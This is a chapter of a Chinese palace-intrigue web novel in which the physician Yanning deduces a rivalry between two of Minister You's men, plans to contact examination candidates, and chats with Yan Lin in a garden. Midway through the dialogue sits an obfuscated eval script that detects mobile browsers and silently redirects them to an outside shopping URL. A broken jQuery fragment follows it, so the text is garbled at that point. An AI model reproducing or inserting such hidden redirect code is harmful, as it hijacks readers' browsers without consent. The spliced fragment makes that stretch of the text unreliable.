125. 抢先机
作品:《君子渡我》 第125章
宫道旁的亭子寂静无声,春风吹过,带来草木的清冽气息,雁宁指尖捏着那封来自端木桃的信,纸张薄薄一页,却压得她心头沉甸甸的。
信上的字迹墨色浓淡不均,想来是端木桃写得仓促,却字字清晰,揭露的真相如惊雷般在她脑海中炸响,让她久久无法回神。
雇佣杀手的竟是都察院,余膳的手下,这个结论虽让她略感意外,却也隐隐合乎情理,都察院本就是权力交错之地。
余膳身为其中要员,暗中培养势力,豢养杀手,又与徐渭乃同袍,若是帮着杀雁宁,本就不足为奇。
可当目光落在下一行字时,雁宁瞳孔骤然收缩,整个人如遭雷击,彻底僵在原地,连手中的信纸都险些滑落。
徐渭与余膳素有嫌隙,实为死对头,然二人皆属尤相麾下,此次恐是内讧所致。
短短一句话,颠覆了雁宁此前所有的猜测,徐渭与余膳是竞争对手,关系势同水火,这一点端木桃早有耳闻。
却从未想过两人竟是同一阵营的人,都在尤相的掌控之下,如此一来,许多此前想不通的疑点,瞬间豁然开朗。
雁宁深吸一口气,指尖微微颤抖,顺着这个线索往下推想,尚嵘是余膳的人,所以他才知晓落雁沙的存在,想必这剧毒便是余膳告知于他的。
而尚嵘在清宁宫投毒,并非真的要置谁于死地,而是为了栽赃徐渭,他算准了尚方司查案的流程,故意留下指向徐渭的线索,就是想借此事将徐渭拉下马,让尤相看到徐渭的“无能”,从而巩固自己在尤相心中的地位。
而徐渭那边,恐怕也有自己的盘算,他想让柴静云直接毒杀雁宁,永绝后患,却没料到柴静云行事不密,不仅没能成功,反而牵扯出了清宁宫的投毒案,进而暴露了余膳的计划,引发了这场内讧。
“真是牵一发而动全身。”雁宁喃喃自语,脸上露出一抹无奈的苦笑,她从未想过,自己不过是个追查父亲冤案的孤女,竟会无意中搅动了这么多势力的纷争,牵扯出徐渭,余膳,尤相等一众人物,甚至让尤相麾下的两大心腹自相残杀。
手中的把柄越来越多,可随之而来的危险也越来越大,徐渭与余膳即便内讧,也绝不会容忍她这个外人知晓他们的秘密,更不会放过她这个屡次破坏他们计划的眼中钉。
雁宁将信纸小心翼翼地折好,放进贴身的衣袋里,指尖能感受到纸张的粗糙质感,心中却一片冰凉。
她忍不住轻轻叹了口气,眉宇间染上几分疲惫与沉重,这场棋局,她本想做个旁观者,默默寻找当年的真相,为夏氏一族洗刷冤屈,可如今,她早已被卷入棋局中心,身不由己。
她固然没有害人之心,可在这波谲云诡的深宫之中,焉知旁人没有害她之意?徐渭的杀机,尤相的忌惮,余膳的算计,无一不在威胁着她的性命,而复仇的前提,是她必须活着。
看来,她不能再被动下去了,雁宁眼神渐渐变得坚定,她不能再等,不能再任由局势发展,必须主动出击,趋利避害,识人辨人,抢夺先机。
只有这样,她才能在这场凶险的纷争中活下去,才能有机会完成自己的使命。
可眼下的神都之中,有什么事,有什么人,是能为她所用的呢?雁宁脑海中不由自主地浮现出方才危瀛月与上官离的对话。
春闱、举人名单、可塑之才、对抗尤相,这些词语清晰地回荡在耳边。
危瀛月要招揽春闱中的优秀举人,为自己培养势力,对抗尤相,这对她而言,何尝不是一个机会?若是她能抢先一步,与那些有才华,有抱负且不愿依附尤相的举人建立联系,或许就能为自己争取到一批潜在的盟友。
雁宁也只能在心里默默跟二公子说声抱歉了,她嘴角忽然勾起一抹狡黠的笑意,心中暗道,谁让他们谋划这么重要的大事时,不特意背着人呢?
上官离那般聪明,都知道提醒危瀛月有外人在场,可危瀛月自己却不在意,这可不能怪她偷听。
不过,想要接触那些举人,并非易事,她身在宫中,行动受限,不能随意出宫,根本没有机会亲自去探查那些举人的底细,看来,只能拜托其他人了。
雁宁脑海中瞬间闪过一个人影,那就是明潇,她行事方便,人脉也渐广,让明潇帮忙留意一下此次参加春闱的举人,尤其是危瀛月和上官离提到的陆选,苏慕言陈子墨等人,探查他们的品性,背景与立场,若是合适,便可尝试建立联系。
闲了一个月,也该给她找点事情做了,雁宁想到这里,忍不住笑了出来,那笑容中带着几分恶劣的狡黠,像是找到了好玩的游戏一般。
心事暂了,雁宁起身,沿着宫道缓缓向章华宫走去,一路上,她的步伐轻快了许多,心中的沉重与迷茫被坚定的目标所取代。
虽然前路依旧凶险,但雁宁不再是孤身一人,也不再被动等待,她有了自己的计划,有了前进的方向。
回到章华宫时,天色尚早,雁宁心中依旧有些纷乱,便想着找个僻静的地方再梳理梳理思绪,于是没有直接回自己的住处,而是沿着庭院中的小径漫无目的地走着。
章华宫的庭院极为雅致,四处种满了花草树木,景色宜人,雁宁走着走着,忽然闻到一股淡淡的花香,顺着香气望去,只见不远处的月洞门后,竟藏着一个小小的花园。
她好奇地走了进去,只见花园中央,竟摆放着一架精致的秋千椅,秋千椅由上好的红木打造,座椅上铺着柔软的锦垫,两旁的绳索缠绕着精致的流苏,一看便知是精心打理过的。
雁宁心中一喜,没想到章华宫中还有这样一处别致的地方,她走到秋千旁,轻轻坐下,锦垫柔软舒适,她双脚轻轻一蹬,秋千便缓缓晃动起来,带着她在空中轻轻摇曳。
雁宁闭上眼睛,感受着这份难得的宁静,心中的疲惫与紧绷渐渐消散。
她一边轻轻晃动着秋千,一边在脑海中梳理着近期的所有事情,楚国公主的宫宴礼物还未想好,危瀛月的提拔需要在三日内答复,师姐的信件带来了重要线索,春闱举人的事情需要拜托明潇帮忙,还有冰蛇心的炼制也不能耽搁……
一件件事情在脑海中清晰起来,让她对未来的规划也愈发明确,宫宴之上,她要时刻保持警惕,保护好太妃,同时也要留意尤相等人的动向。
危瀛月的提拔,她暂时不能接受,以免过早卷入他与尤相的斗争之中,还是先以稳固在章华宫的地位,暗中发展自己的势力为主。
春闱举人的事情,要尽快给明潇写信,让她早日着手调查,冰蛇心的炼制,需得尽快找到合适的时机,争取在宫宴结束后便开工。
看来,接下来有的忙了,雁宁睁开眼睛,看着空中飘落的花瓣,嘴角露出一抹浅浅的笑容。
就在这时,一个冷冽的男声突然在身后响起:“韩医师看起来很开心啊。”
雁宁毫无防备,被这突如其来的声音吓了一跳,身体猛地一僵,秋千也瞬间停了下来。
她下意识地回过头,只见严林正站在不远处的月洞门口,身着一身青色的官服,面容俊朗,脸上带着浅浅的笑意,正看着她。
“小……小林大人?”雁宁惊讶地睁大了眼睛,脸颊瞬间染上了一层淡淡的红晕,她万万没想到,会在这里遇到严林,更没想到自己刚才那副偷懒放松的模样,会被他看到。
严林见她受惊的模样,眼中闪过一丝歉意,连忙走上前,说道:“抱歉,韩医师,吓到你了,我方才路过这里,看到你坐在秋千上,似乎笑得很开心,便忍不住打了个招呼。”
“没……没有,”雁宁连忙从秋千上下来,有些局促地整理了一下衣襟,脸颊依旧有些发烫,道:“我只是没想到会在这里遇到小林大人,您什么时候回宫的?”
“今日刚回。”严林笑着说道:“之前去刑部见了我阿兄,耽误了些时日,回来后听说你已经搬到章华宫,侍奉太妃娘娘了,便想着过来看看你,顺便向你道谢,上次尚方司的案子,多亏了你,才能顺利告破。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086678|177866||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“小林大人客气了。”雁宁连忙摆手,道:“那都是下官分内之事,而且小林大人也帮了我很多,该说谢谢的是我才对。”
想起上次在宓婕妤宫中,众人调侃她对严林有意思的场景,雁宁的脸颊更红了,眼神也有些闪躲,不敢直视严林的目光。
严林看出了她的局促,心中觉得有些好笑,却也没有点破,只是笑着转移了话题:“这里的秋千不错,韩医师平日里常来这里散心吗?”
“没有。”雁宁摇了摇头,说:“我也是第一次来这里,刚才走着走着无意间发现的,章华宫的庭院真的很美,很清静。”
“是啊。”严林点了点头,目光扫过周围的景致,道:“太妃娘娘素来喜爱清静,章华宫也确实是宫中难得的净土,你能来这里,倒是挺好的。”
他顿了顿,看着雁宁,眼中带着几分关切:“这几日在章华宫,还习惯吗?太妃娘娘和宫中的人,都还好相处吧?”
“嗯,都很好。”雁宁笑着点头,眼中带着真切的暖意:“太妃娘娘慈爱温和,没有半分主子的架子,酡颜姐姐和善热络,处处照拂我,还有雪青姐姐,章华宫的人都很和善,我在这里很习惯。”
“那就好。”严林放心地点了点头:“我还担心你初来乍到,会不习惯,你性子单纯,在宫中行事,万事都要小心,尤其是在太妃娘娘身边,更要谨言慎行,不可大意。”
“多谢小林大人提醒,下官记住了。”雁宁躬身道谢。严林的关心真诚而温暖,让她心中涌起一股暖流,不过在小林大人眼里,雁宁居然会是个性子单纯的小娘子?
“对了,”严林像是突然想起了什么,问道,“我听说再过几日,便是招待楚国公主的宫宴了,你会陪同太妃娘娘一同前往吗?”
“应该会吧,”雁宁点了点头,“太妃娘娘已经收到了邀请,若是没有意外,定会前往,我作为贴身医官,会陪同在侧。”
“那你可得多加小心,”严林的神色变得严肃起来,“楚国公主远道而来,宫宴之上,鱼龙混杂,不仅有朝中百官,还有各国使节,甚至可能还有一些不怀好意之人。尤相那边,恐怕不会安分,你一定要保护好自己和太妃娘娘。”
雁宁心中一怔,没想到严林也会提醒她此事。看来,尤相的野心与手段,不少人都看在眼里。“多谢小林大人关心,下官会的。”雁宁认真地说道。
“还有。”严林犹豫了一下,还是说道:“尚方司那边,你也尽量少接触,元浦心思深沉,行事莫测,如今又与尤相对立,你夹在中间,怕是会有危险。”
雁宁心中一动,没想到严林会特意提醒她远离元浦,她看着严林关切的眼神,心中满是感激:“多谢小林大人告知,下官明白。”
其实,她心中早已打定主意,尽量不与危瀛月有过多交集,只是没想到严林会如此直白地提醒她,看来,严林对朝中的局势,也有着清醒的认识。
两人站在花园中,闲聊了几句,严林又问了一些她在章华宫的日常,雁宁一一如实回答。
两人又聊了片刻,严林看了看天色,说道:“时辰不早了,你也该回去了,韩医师若是有什么需要帮忙的地方,尽管开口。”
“多谢小林大人。”雁宁躬身行礼。
严林点了点头,转身离开了花园,她看着他离去的背影有一会儿,这才回到秋千旁坐下,轻轻晃动着秋千。
看此情形,雁宁必须尽快给明潇写信,让她帮忙调查春闱举人的事情,真是任重而道远啊,雁宁忍不住轻轻叹了口气,却没有丝毫退缩之意。
一想到这儿,雁宁立刻站起身,拍了拍身上的尘土,转身向自己的住处走去。
回到院子,雁宁没有歇息,而是立刻找来笔墨纸砚,开始给明潇写信,她将自己的计划,春闱举人的名单以及需要师姐帮忙探查的事情,一一写在信中,言辞详细。
写完信后,她又仔细检查了一遍,确保没有遗漏任何重要信息,才将信笺收好。

